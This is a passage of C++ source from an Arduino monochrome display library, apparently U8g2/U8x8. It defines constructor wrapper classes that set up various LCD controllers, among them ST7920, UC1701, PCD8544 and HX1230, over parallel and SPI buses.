u8x8_Setup(getU8x8(), u8x8_d_st7920_144x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7920_160X32_8080 : public U8X8 { public: U8X8_ST7920_160X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_160x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7920_160X32_6800 : public U8X8 { public: U8X8_ST7920_160X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_160x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7920_160X32_SW_SPI : public U8X8 { public: U8X8_ST7920_160X32_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_160x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7920_160X32_HW_SPI : public U8X8 { public: U8X8_ST7920_160X32_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_160x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7920_160X32_2ND_HW_SPI : public U8X8 { public: U8X8_ST7920_160X32_2ND_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_160x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7920_192X32_8080 : public U8X8 { public: U8X8_ST7920_192X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_192x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7920_192X32_6800 : public U8X8 { public: U8X8_ST7920_192X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_192x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7920_192X32_SW_SPI : public U8X8 { public: U8X8_ST7920_192X32_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_192x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7920_192X32_HW_SPI : public U8X8 { public: U8X8_ST7920_192X32_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_192x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7920_192X32_2ND_HW_SPI : public U8X8 { public: U8X8_ST7920_192X32_2ND_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_192x32, u8x8_cad_st7920_spi, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7920_128X64_8080 : public U8X8 { public: U8X8_ST7920_128X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_128x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7920_128X64_6800 : public U8X8 { public: U8X8_ST7920_128X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_128x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST7920_128X64_SW_SPI : public U8X8 { public: U8X8_ST7920_128X64_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_128x64, u8x8_cad_st7920_spi, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST7920_128X64_HW_SPI : public U8X8 { public: U8X8_ST7920_128X64_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_128x64, u8x8_cad_st7920_spi, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST7920_128X64_2ND_HW_SPI : public U8X8 { public: U8X8_ST7920_128X64_2ND_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st7920_128x64, u8x8_cad_st7920_spi, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_ST7920_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_LS013B7DH03_128X128_4W_SW_SPI : public U8X8 { public: U8X8_LS013B7DH03_128X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ls013b7dh03_128x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_LS013B7DH03_128X128_4W_HW_SPI : public U8X8 { public: U8X8_LS013B7DH03_128X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ls013b7dh03_128x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_LS013B7DH03_128X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_LS013B7DH03_128X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ls013b7dh03_128x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_LS027B7DH01_400X240_4W_SW_SPI : public U8X8 { public: U8X8_LS027B7DH01_400X240_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ls027b7dh01_400x240, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_LS027B7DH01_400X240_4W_HW_SPI : public U8X8 { public: U8X8_LS027B7DH01_400X240_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ls027b7dh01_400x240, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_LS027B7DH01_400X240_2ND_4W_HW_SPI : public U8X8 { public: U8X8_LS027B7DH01_400X240_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ls027b7dh01_400x240, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_LS027B7DH01_M0_400X240_4W_SW_SPI : public U8X8 { public: U8X8_LS027B7DH01_M0_400X240_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ls027b7dh01_m0_400x240, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_LS027B7DH01_M0_400X240_4W_HW_SPI : public U8X8 { public: U8X8_LS027B7DH01_M0_400X240_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ls027b7dh01_m0_400x240, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_LS027B7DH01_M0_400X240_2ND_4W_HW_SPI : public U8X8 { public: U8X8_LS027B7DH01_M0_400X240_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ls027b7dh01_m0_400x240, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_LS013B7DH05_144X168_4W_SW_SPI : public U8X8 { public: U8X8_LS013B7DH05_144X168_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ls013b7dh05_144x168, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_LS013B7DH05_144X168_4W_HW_SPI : public U8X8 { public: U8X8_LS013B7DH05_144X168_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ls013b7dh05_144x168, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_LS013B7DH05_144X168_2ND_4W_HW_SPI : public U8X8 { public: U8X8_LS013B7DH05_144X168_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ls013b7dh05_144x168, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1701_EA_DOGS102_4W_SW_SPI : public U8X8 { public: U8X8_UC1701_EA_DOGS102_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1701_EA_DOGS102_4W_HW_SPI : public U8X8 { public: U8X8_UC1701_EA_DOGS102_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1701_EA_DOGS102_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1701_EA_DOGS102_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1701_EA_DOGS102_3W_SW_SPI : public U8X8 { public: U8X8_UC1701_EA_DOGS102_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1701_EA_DOGS102_3W_HW_SPI : public U8X8 { public: U8X8_UC1701_EA_DOGS102_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1701_EA_DOGS102_6800 : public U8X8 { public: U8X8_UC1701_EA_DOGS102_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1701_EA_DOGS102_8080 : public U8X8 { public: U8X8_UC1701_EA_DOGS102_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1701_ea_dogs102, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1701_MINI12864_4W_SW_SPI : public U8X8 { public: U8X8_UC1701_MINI12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1701_mini12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1701_MINI12864_4W_HW_SPI : public U8X8 { public: U8X8_UC1701_MINI12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1701_mini12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1701_MINI12864_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1701_MINI12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1701_mini12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1701_MINI12864_3W_SW_SPI : public U8X8 { public: U8X8_UC1701_MINI12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1701_mini12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1701_MINI12864_3W_HW_SPI : public U8X8 { public: U8X8_UC1701_MINI12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1701_mini12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1701_MINI12864_6800 : public U8X8 { public: U8X8_UC1701_MINI12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1701_mini12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1701_MINI12864_8080 : public U8X8 { public: U8X8_UC1701_MINI12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1701_mini12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_PCD8544_84X48_4W_SW_SPI : public U8X8 { public: U8X8_PCD8544_84X48_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_pcd8544_84x48, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_PCD8544_84X48_4W_HW_SPI : public U8X8 { public: U8X8_PCD8544_84X48_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_pcd8544_84x48, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_PCD8544_84X48_2ND_4W_HW_SPI : public U8X8 { public: U8X8_PCD8544_84X48_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_pcd8544_84x48, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_PCD8544_84X48_3W_SW_SPI : public U8X8 { public: U8X8_PCD8544_84X48_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_pcd8544_84x48, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_PCD8544_84X48_3W_HW_SPI : public U8X8 { public: U8X8_PCD8544_84X48_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_pcd8544_84x48, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_PCF8812_96X65_4W_SW_SPI : public U8X8 { public: U8X8_PCF8812_96X65_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_pcf8812_96x65, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_PCF8812_96X65_4W_HW_SPI : public U8X8 { public: U8X8_PCF8812_96X65_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_pcf8812_96x65, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_PCF8812_96X65_2ND_4W_HW_SPI : public U8X8 { public: U8X8_PCF8812_96X65_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_pcf8812_96x65, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_PCF8812_96X65_3W_SW_SPI : public U8X8 { public: U8X8_PCF8812_96X65_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_pcf8812_96x65, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_PCF8812_96X65_3W_HW_SPI : public U8X8 { public: U8X8_PCF8812_96X65_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_pcf8812_96x65, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_HX1230_96X68_4W_SW_SPI : public U8X8 { public: U8X8_HX1230_96X68_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_hx1230_96x68, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_HX1230_96X68_4W_HW_SPI : public U8X8 { public: U8X8_HX1230_96X68_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_hx1230_96x68, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_HX1230_96X68_2ND_4W_HW_SPI : public U8X8 { public: U8X8_HX1230_96X68_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_hx1230_96x68, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_HX1230_96X68_3W_SW_SPI : public U8X8 { public: U8X8_HX1230_96X68_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_hx1230_96x68, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_HX1230_96X68_3W_HW_SPI : public U8X8 { public: U8X8_HX1230_96X68_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_hx1230_96x68, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1604_JLX19264_4W_SW_SPI : public U8X8 { public: U8X8_UC1604_JLX19264_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1604_JLX19264_4W_HW_SPI : public U8X8 { public: U8X8_UC1604_JLX19264_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1604_JLX19264_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1604_JLX19264_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1604_JLX19264_3W_SW_SPI : public U8X8 { public: U8X8_UC1604_JLX19264_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1604_jlx19264, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1604_JLX19264_3W_HW_SPI : public U8X8 { public: 